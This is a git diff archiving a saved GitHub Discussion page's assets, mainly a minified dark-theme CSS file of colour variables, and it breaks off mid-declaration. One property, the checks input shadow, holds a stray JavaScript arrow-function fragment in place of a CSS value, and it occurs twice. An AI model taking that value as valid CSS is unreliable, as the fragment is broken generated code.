a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: 